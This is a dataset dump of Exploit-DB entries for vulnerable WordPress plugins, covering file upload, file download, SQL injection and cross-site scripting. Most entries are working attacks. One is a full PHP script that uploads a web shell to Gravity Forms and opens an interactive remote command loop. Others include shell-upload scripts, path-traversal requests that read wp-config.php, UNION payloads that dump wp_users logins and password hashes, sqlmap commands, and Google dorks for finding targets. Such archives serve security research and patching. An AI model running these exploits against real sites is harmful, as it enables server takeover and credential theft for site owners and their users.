deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17760
Description: WordPress Plugin grapefile 1.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-08-31
Author: Hrvoje Spoljar

Exploit:
Title: Wordpress grapefile plugin <= 1.1 Arbitrary file upload
Date: 30-8-2011
Author: Hrvoje Spoljar [ hrvoje.spoljar(at)gmail.com ]
Version: 1.1
Software link:http://wordpress.org/extend/plugins/grapefile/

PoC:
curl -F "userfile=@mycode.php"
http://domain.tld/wp-content/plugins/grapefile/grapeupload.php

File(s): grapeupload.php  grapeupload2.php  grapeupload3.php
grapeupload4.php
Vulnerable code:
$uploaddir =
$_SERVER["DOCUMENT_ROOT"].'/wp-content/plugins/grapefile/filestore/avi/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
  echo "success";
Exploit-DB #39969
Description: WordPress Plugin Gravity Forms 1.8.19 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2016-06-17
Author: Abk Khan

Exploit:
<?php
/****************************************************************************************************************************
   *
	* Exploit Title        : Gravity Forms [WP] - Arbitrary File Upload
	* Vulnerable Version(s): 1.8.19 (and below)
	* Write-Up             : https://blog.sucuri.net/2015/02/malware-cleanup-to-arbitrary-file-upload-in-gravity-forms.html
	* Coded by             : Abk Khan [ an0nguy @ protonmail.ch ]
  *
*****************************************************************************************************************************/
error_reporting(0);

echo "
   _____                 _ _         ______    _ _     
  / ____|               (_) |       |  ____|  | | |    
 | |  __ _ __ __ ___   ___| |_ _   _| |__ __ _| | |___ 
 | | |_ | '__/ _` \ \ / / | __| | | |  __/ _` | | / __|
 | |__| | | | (_| |\ V /| | |_| |_| | | | (_| | | \__ \
  \_____|_|  \__,_| \_/ |_|\__|\__, |_|  \__,_|_|_|___/
                                __/ |                  
                               |___/     > an Exploiter by AnonGuy\n";
$domain    = (@$argv[1] == '' ? 'http://localhost/wordpress' : @$argv[1]);
$url       = "$domain/?gf_page=upload";
$shell     = "$domain/wp-content/_input_3_khan.php5";
$separator = '-------------------------------------------------------------------';

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, '<?php system($_GET[0]); ?>&form_id=1&name=khan.php5&gform_unique_id=../../../../&field_id=3');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, '"ok"') !== false) {
    echo "$separator\nShell at $shell\n$separator\nSpawning a 'No-Session' Shell . . . Done!\n$separator\n";
    while ($testCom != 'exit') {
		$user    = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20whoami;%20echo%20'~'"), '~', '~'));
		$b0x     = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20hostname;%20echo%20'~'"), '~', '~'));
        echo "$user@$b0x:~$ ";
        $handle  = fopen("php://stdin", 'r');
        $testCom = trim(fgets($handle));
        fclose($handle);
        $comOut  = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20" . urlencode($testCom) . ";%20echo%20'~'"), '~', '~')) . "\n";
        echo $comOut;
    }
}
else {
	die("$separator\n$domain doesn't seem to be vulnerable! :(\n$separator");
}

function get_string_between($string, $start, $end)
{
    # stolen from stackoverflow!
    $string = ' ' . $string;
    $ini    = strpos($string, $start);
    if ($ini == 0)
        return '';
    $ini += strlen($start);
    $len = strpos($string, $end, $ini) - $ini;
    return substr($string, $ini, $len);
}
?>
Exploit-DB #39589
Description: WordPress Plugin HB Audio Gallery Lite 1.0.0 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2016-03-22
Author: CrashBandicot

Exploit:
# Exploit Title: Wordpress Plugin HB Audio Gallery Lite - Arbitrary File Download
# Exploit Author: CrashBandicot
# Date: 2016-03-22
# Google Dork : inurl:/wp-content/plugins/hb-audio-gallery-lite
# Vendor Homepage: https://fr.wordpress.org/plugins/hb-audio-gallery-lite/
# Tested on: MSWin32
# Version: 1.0.0

# Vuln file : gallery/audio-download.php

11.   if( $_REQUEST['file_size'] && $_REQUEST['file_path'] ) {
13.       $file_size =  $_REQUEST['file_size'];
15.       $file =  $_REQUEST['file_path'];
17.       $filename = basename($file);
....
55.         Header("Content-Disposition: attachment; filename='" . $filename . "'");


# PoC : /wp-content/plugins/hb-audio-gallery-lite/gallery/audio-download.php?file_path=../../../../wp-config.php&file_size=10


# 22/03/2016 - Informed Vendor about Issue
Exploit-DB #37377
Description: WordPress Plugin HD FLV Player - 'uploadVideo.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-13
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/53967/info

HD FLV Player plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

HD FLV Player 1.7 is vulnerable; other versions may also be affected. 

Exploit :

PostShell.php
<?php

$uploadfile="lo.php.jpg";
$ch = 
curl_init("http://www.example.com/wordpress/wp-content/plugins/contus-hd-flv-player/uploadVideo.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('myfile'=>"@$uploadfile",
                'mode'=>'image'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : 
http://www.example.com/wordpress/wp-content/uploads/18_lo.php.jpg
Filename : [CTRL-u] PostShell.php after executed

lo.php.jpg
<?php
phpinfo();
?>
Exploit-DB #20918
Description: WordPress Plugin HD Webplayer 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2012-08-29
Author: JoinSe7en

Exploit:
   _______                     _____ _   _ _______ _____            
  |__   __|                   |_   _| \ | |__   __|  __ \     /\    
     | | ___  __ _ _ __ ___     | | |  \| |  | |  | |__) |   /  \   
     | |/ _ \/ _` | '_ ` _ \    | | | . ` |  | |  |  _  /   / /\ \  
     | |  __/ (_| | | | | | |  _| |_| |\  |  | |  | | \ \  / ____ \ 
     |_|\___|\__,_|_| |_| |_| |_____|_| \_|  |_|  |_|  \_\/_/    \_\
                                                          - JoinSe7en


+----------------------------------------------------------------------+
|               Wordpress HD Webplayer 1.1 SQL Injection               |
|                    Author: JoinSe7en [Team INTRA]                    |
+----------------------------------------------------------------------+

# Exploit Title: Wordpress HD Webplayer 1.1 SQL Injection
# Date: 28/08/2012
# Exploit Author: JoinSe7en
# Vendor Homepage: http://www.hdwebplayer.com/
# Software Link: http://hdwebplayer.com/downloads/hdwebplayer_wordpress_1.1.zip
# Category: Web Application 0-Day
# Version: version 1.1
# Tested on: Windows 7, Backtrack 5 r3

+----------------------------------------------------------------------+
|                     Vulnerability 1 - config.php                     |
+----------------------------------------------------------------------+

# Location:

http://site.com/wp-content/plugins/hd-webplayer/config.php?id= [INJECT HERE]

# Exploit Code:

config.php?id=1+/*!UNION*/+/*!SELECT*/+1,2,3,group_concat(ID,0x3a,user_login,0x3a,user_pass,0x3b),5,6,7+from+wp_users //Number of columns may be different

+----------------------------------------------------------------------+
|                    Vulnerability 2 - playlist.php                    |
+----------------------------------------------------------------------+

# Location:

http://site.com/wp-content/plugins/hd-webplayer/playlist.php?videoid= [INJECT HERE]

# Exploit Code:

playlist.php?videoid=1+/*!UNION*/+/*!SELECT*/+group_concat(ID,0x3a,user_login,0x3a,user_pass,0x3b),2,3,4,5,6,7+from+wp_users //Number of columns may be different

+----------------------------------------------------------------------+
|                             Google Dork                              |
+----------------------------------------------------------------------+

There are 3 different usefull dorks to use:

# Dork 1 (config.php)
inurl:"/wp-content/plugins/hd-webplayer/config.php?id="

# Dork 2 (playlist.php)
inurl:"/wp-content/plugins/hd-webplayer/playlist.php?videoid="

# Dork 3 (General):
inurl:"/wp-content/plugins/hd-webplayer/"

+----------------------------------------------------------------------+

Greetz to all members of Team INTRA <3
Exploit-DB #39280
Description: WordPress Plugin HDW Player - '/wp-admin/admin.php' SQL Injection
Type: webapps
Platform: php
Date: 2014-05-28
Author: Anant Shrivastava

Exploit:
source: https://www.securityfocus.com/bid/69105/info

The WordPress HDW Player plugin (Video Player & Video Gallery) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

HDW Player 2.4.2 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=videos&opt=edit&id=2 union select 1,2,user(),4,5,6,database(),8,@@version,10,11,12
Exploit-DB #48307
Description: WordPress Plugin Helpful 2.4.11 - SQL Injection
Type: webapps
Platform: php
Date: 2020-04-10
Author: numan türle

Exploit:
Title: Helpful 2.4.11 Sql Injection  - Wordpress Plugin
Version : 2.4.11
Software Link : https://wordpress.org/plugins/helpful/
Date of found: 10.04.2019
Author: Numan Türle


core/Core.class.php
// Ajax requests: pro
add_action( 'wp_ajax_helpful_ajax_pro', array( $this, 'helpful_ajax_pro' ) );

// set args for insert command
$args = array(
'post_id' => $_REQUEST['post_id'],
'user' => $_REQUEST['user'],
'pro' => $_REQUEST['pro'],
'contra' => $_REQUEST['contra']
);
$result = $this->insert( $args );

@params = 'post_id' => $_REQUEST['post_id'],
call function insert -->

if( !$args['post_id'] ) return false;
$check = $wpdb->get_results("SELECT post_id,user FROM $table_name WHERE user = '$user' AND post_id = $post_id");



Payload :
GET /wp-admin/admin-ajax.php?action=helpful_ajax_pro&contra=0&post_id=if(1=1,sleep(10),0)&pro=1&user=1
Exploit-DB #37254
Description: WordPress Plugin History Collection 1.1.1 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2015-06-10
Author: Kuroi'SH

Exploit:
# Exploit Title: Wordpress History Collection <=1.1.1 Arbitraty File
Download
# Google Dork: inurl:plugins/history-collection
# Date: 10/06/2015
# Exploit Author: Kuroi'SH
# Software Link: https://wordpress.org/plugins/history-collection/
# Version: <=1.1.1
# Tested on: Linux

I-Description:
Wordpress history collection plugin contains a file called download.php
which is not filtering the GET input, it then uses this get input value to
force the download of a file.
(download.php, line 44):
header("Content-Disposition: attachment;
filename=\"".basename($filename)."\";" );
2:Proof of concept:
http://localhost/simple-fields/wordpress/wp-content/plugins/history-collection/download.php?var=yourfile
http://localhost/simple-fields/wordpress/wp-content/plugins/history-collection/download.php?var=../../../wp-config.php
php -r "echo @file_get_contents('
http://localhost/simple-fields/wordpress/wp-content/plugins/history-collection/download.php?var=../../../wp-config.php')
;"

Greetz:
Moh Ooasiic, Virus Os, Black Sniper, T3N38R15, Green Ghost, n37_worm,
MuhmadEmad, redsm0ke
By Kuroi'SH
Exploit-DB #42802
Description: WordPress Plugin Hospital Management System - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-26
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Hospital Management System for Wordpress - SQL Injection
# Dork: N/A
# Date: 26.09.2017
# Vendor Homepage: http://mojoomla.com/
# Software Link: https://codecanyon.net/item/hospital-management-system-for-wordpress/12094634
# Demo: http://www.mobilewebs.net/mojoomla/extend/wordpress/hospital/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an student members to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/?dashboard=user&page=message&tab=view_message&from=inbox&id=[SQL]
# 
# -50++UNION(SELECT(1),(2),(3),(4),(5),(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),(7),(8))--+-
# 
# Etc..
# # # # #
Exploit-DB #18990
Description: WordPress Plugin HTML5 AV Manager 0.2.7 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-05
Author: Sammy FORGIT

Exploit:
##################################################
# Description : Wordpress Plugins - HTML5 AV Manager for WordPress Shell 
Upload Vulnerability
# Version : 0.2.7
# Link : http://wordpress.org/extend/plugins/html5avmanager/
# Plugins : http://downloads.wordpress.org/plugin/html5avmanager.0.2.7.zip
# Date : 26-05-2012
# Google Dork : inurl:/wp-content/plugins/html5avmanager/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/html5avmanager/lib/uploadify/custom.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/videoaudio/temp/lo.php

lo.php
<?php
phpinfo();
?>
Exploit-DB #34524
Description: WordPress Plugin Huge-IT Image Gallery 1.0.1 - (Authenticated) SQL Injection
Type: webapps
Platform: php
Date: 2014-09-02
Author: Claudio Viviani

Exploit:
######################
# Exploit Title : Wordpress Huge-IT Image Gallery 1.0.1 Authenticated SQL Injection

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://huge-it.com/

# Software Link : http://downloads.wordpress.org/plugin/gallery-images.zip
    Mirror Link : https://mega.co.nz/#!3EoUzSQI!yrl75XQsp1ggxDCjW-wq7yUxLdbLu0WHPNFcJAxJOHs

# Date : 2014-08-25

# Tested on : Windows 7 / Mozilla Firefox
#             Linux / Mozilla Firefox
#             Linux / sqlmap 1.0-dev-5b2ded0

######################

# Location :  
http://localhost/wp-content/plugins/gallery-images/admin/gallery_func.php

######################

# Vulnerable code :

function editgallery($id)
  {

          global $wpdb;

          if(isset($_GET["removeslide"])){
             if($_GET["removeslide"] != ''){


          $wpdb->query("DELETE FROM ".$wpdb->prefix."huge_itgallery_images  WHERE id = ".$_GET["removeslide"]." ");



           }
           }

######################

# PoC Exploit:

http://localhost/wordpress/wp-admin/admin.php?page=gallerys_huge_it_gallery&task=edit_cat&id=1&removeslide=1 and 1=2


# Exploit Code via sqlmap:

sqlmap --cookie="INSERT_WORDPRESS_COOKIE_HERE" -u "http://localhost/wordpress/wp-admin/admin.php?page=gallerys_huge_it_gallery&task=edit_cat&id=1&removeslide=1" \
-p removeslide --dbms=mysql --level 3

[20:38:20] [INFO] GET parameter 'removeslide' is 'MySQL >= 5.0 time-based blind - Parameter replace' injectable
...
...
...
---
Place: GET
Parameter: removeslide
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0 time-based blind - Parameter replace
    Payload: page=gallerys_huge_it_gallery&task=edit_cat&id=1&removeslide=(SELECT (CASE WHEN (5440=5440) THEN SLEEP(5) ELSE 5440*(SELECT 5440 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---


# PoC Video:

https://www.youtube.com/watch?v=gAmb0_o3ZUc

######################

# Vulnerability Disclosure Timeline:

2014-08-25:  Discovered vulnerability
2014-08-26:  Vendor Notification (Web Customers Service Form)
2014-08-26:  No Response/Feedback 
2014-08-01:  Plugin version 1.0.1 released without fix 
2014-08-02:  Public Disclosure
 
#####################

Discovered By : Claudio Viviani
                http://www.homelab.it
		
                info@homelab.it
                homelabit@protonmail.ch

                https://www.facebook.com/homelabit
                https://twitter.com/homelabit
                https://plus.google.com/+HomelabIt1/
                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

#####################
Exploit-DB #39807
Description: WordPress Plugin Huge-IT Image Gallery 1.8.9 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-05-12
Author: Gwendal Le Coguic

Exploit:
# Exploit Title: WordPress plugin Image Gallery Full Path Disclosure and SQL Injection
# Google Dork: inurl:"wp-content/plugins/gallery-images/"
# Date: 12-05-2016
# Software Link: https://fr.wordpress.org/plugins/gallery-images/
# Version: 1.8.9 and prior
# Exploit Author: Gwendal Le Coguic
# Website: http://10degres.net
# Category: webapps


##### About #####

Huge-IT Image Gallery is the best plugin to use if you want to be original with your website.


##### Full Path Disclosure #####

http://[target]/wp-content/plugins/gallery-images/gallery-images.php


##### SQL Injection #####

Headers X-Forwarded-For and Client-Ip are vulnerable.
Vulnerable code: at lines 101, 259, 420, 559, 698 the variable $huge_it_ip is missing sanitization
Payload: 123.123.123.123' AND (SELECT * FROM (SELECT(SLEEP(5)))suRI) AND 'uDsL'='uDsL

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [target]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Client-Ip: 123.123.123.123
X-Forwarded-For: 123.123.123.123
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

action=huge_it_video_gallery_ajax&task=load_images_content&galleryid=1&page=1&perpage=100


### Extras infos #####

The "galleryid" must be configured or try another id.

You don't need to be authed to exploit the injection but the plugin must be enable.

"task" parameter can be:
  load_images_content
  load_images_lightbox
  load_image_justified
  load_image_thumbnail
  load_blog_view

Client-Ip overwrite X-Forwarded-For.
Some system drop those headers.


##### References #####

https://www.owasp.org/index.php/Full_Path_Disclosure
https://www.owasp.org/index.php/SQL_Injection
Exploit-DB #42351
Description: WordPress Plugin IBPS Online Exam 1.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2017-07-20
Author: 8bitsec

Exploit:
# Exploit Title: IBPS Online Exam Plugin for WordPress v1.0 - XSS SQLi
# Date: 2017-07-11
# Exploit Author: 8bitsec
# Vendor Homepage: https://elfemo.com/demo/server2/order2032/
# Software Link: https://codecanyon.net/item/ibps-online-exam-plugin-for-wordpress/20028534
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.5]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-07-20

Product & Service Introduction:
===============================
A Full Featured WordPress Plugin for IBPS Examination.

Technical Details & Description:
================================

Stored XSS on exam input textfields.

Blind SQL Injection on examapp_UserResult page id parameter.

Proof of Concept (PoC):
=======================

Authenticated Stored XSS:

Logged as a student:
Write the payload in the input textfields while attempting an exam. The payload will execute on My Results > View Details:
https://localhost/wp-admin/admin.php?page=examapp_UserResult&info=view&id=[xx]

Blind SQL Injection

Logged as a student:

https://localhost/wp-admin/admin.php?page=examapp_UserResult&info=view&id=79 and 1=1

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=examapp_UserResult&info=view&id=78 AND 6705=6705

    Type: UNION query
    Title: Generic UNION query (NULL) - 17 columns
    Payload: page=examapp_UserResult&info=view&id=-4748 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178716b71,0x6b4c[PII_REDACTED]614e[PII_REDACTED]4741764b4f7172597a5a[PII_REDACTED]5a7056644d6e595773496e,0x[PII_REDACTED]),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- KttP

Credits & Authors:
==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #17749
Description: WordPress Plugin iCopyright(R) Article Tools 1.1.4 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-29
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress iCopyright(R) Article Tools plugin <= 1.1.4 SQL Injection Vulnerability
# Date: 2011-08-29
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/copyright-licensing-tools.zip
# Version: 1.1.4 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/copyright-licensing-tools/icopyright_xml.php?id=1' AND 1=1--%20

---------------
Vulnerable code
---------------
$icopyright_post_id = $_GET['id']; //requested post id
...
$response = $wpdb->get_results("SELECT * FROM $posttable JOIN $usertable on $posttable.post_author=$usertable.ID WHERE $posttable.ID = '$icopyright_post_id'");
Exploit-DB #37179
Description: WordPress Plugin iFrame Admin Pages 0.1 - 'main_page.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-15
Author: Heine Pedersen

Exploit:
source: https://www.securityfocus.com/bid/53522/info

The iFrame Admin Pages plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

iFrame Admin Pages 0.1 is vulnerable; other versions may also be affected.

http://www.example.com/wp-content/plugins/iframe-admin-pages/main_page.php POST DATA: url=&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;&amp;newiframe=new&amp;servicerequest=new
Exploit-DB #35392
Description: WordPress Plugin IGIT Posts Slider Widget 1.0 - 'src' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-23
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46589/info

The IGIT Posts Slider Widget plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

IGIT Posts Slider Widget plugin 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/igit-posts-slider-widget/timthumb.php?src=%3Cscript%3Ealert(0)%3C/script%3E